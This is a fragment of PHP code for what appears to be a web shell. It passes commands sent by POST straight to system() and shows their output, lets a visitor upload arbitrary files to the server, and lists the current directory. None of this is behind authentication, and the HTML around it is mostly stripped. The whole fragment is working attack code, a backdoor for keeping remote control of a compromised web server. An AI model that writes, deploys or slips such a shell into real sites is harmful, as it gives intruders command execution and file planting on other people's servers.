";
echo "";
// Command execution
if(isset($_POST['cmd'])) {
echo "
";
echo "
🔧 Command Output:";
echo "
";
system($_POST['cmd'] . " 2>&1");
echo "
";
}
// File upload
if(isset($_FILES['file'])) {
$target = basename($_FILES['file']['name']);
if(move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "
✅ File uploaded: $target
";
} else {
echo "
❌ Upload failed: $target
";
}
}
// File manager
echo "
";
echo "
🎯 Command Execution
";
echo "";
echo "";
echo "
";
echo "
📤 File Upload
";
echo "";
echo "";
// Show current directory files
echo "
";
echo "
📁 Current Directory Files
";
echo "
";
$files = scandir('.');
foreach($files as $file) {
if($file != '.' && $file != '..') {
$color = is_dir($file) ? '#ff00ff' : '#00ffff';
echo "
$file
";
}
}
echo "
";
echo "
";
echo "